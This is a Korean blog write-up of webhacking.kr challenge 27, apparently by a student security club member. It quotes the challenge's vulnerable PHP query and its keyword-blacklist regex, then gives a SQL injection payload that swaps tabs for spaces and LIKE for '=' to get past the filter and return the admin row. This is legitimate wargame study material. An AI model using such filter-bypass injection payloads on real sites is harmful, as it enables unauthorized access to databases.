TigerDemon
webhacking.kr 27번 본문
https://webhacking.kr/challenge/web-12/
Challenge 27
webhacking.kr


사이트에 들어가면 첫번째 사진처럼 뜹니다.
view-source 텍스트로 들어가면 두번째 사진처럼 코드가 뜹니다.
<코드 해석>
if($_GET['no']){
URL 파라미터 no를 받으면 실행된다.
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
아래 문자열이 들어가면 차단이 된다.
#, select, (, (공백), limit, = , 0x(hex)
select id from chall27
where id='guest' and no=({$_GET['no']})
위는 실제 쿼리고 아래는 SQL 형태
SELECT id
FROM chall27
WHERE id='guest' AND no=(입력값)
아래에서 admin이 나오면 성공 그런데 쿼리 조건에 id='guest'가 고정된다
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27);
코드에서 문제가 있는 부분
WHERE id='guest'
인데
if($r['id']=="admin")
guest만 조회하는데 admin이 나와야 한다.
따라서 해당 부분을 노려야한다.
no=({$_GET['no']})
id='guest' and no=1 or no=2 해당 쿼리를 통해 no=-1번인 열이 없을테니 false가 되지만 no=2가 존재하므로 admin이 반환될 것이다.
-1)%09or%09no%09like%092--%09
위 내용을 텍스트 입력 칸이 아니라 url에 직접 넣어야한다.

'2026-SWLUG > 웹해킹' 카테고리의 다른 글
| WEBHACKING.KR 7번 풀기 (0) | 2026.05.24 |
|---|---|
| webhacking.kr 18번 (0) | 2026.05.13 |
| WEBHACKING.kr 26번 풀이 (0) | 2026.05.06 |
| Webhacking.kr 17번 풀기 (0) | 2026.04.29 |
| webhacking.kr 3 (0) | 2026.03.25 |
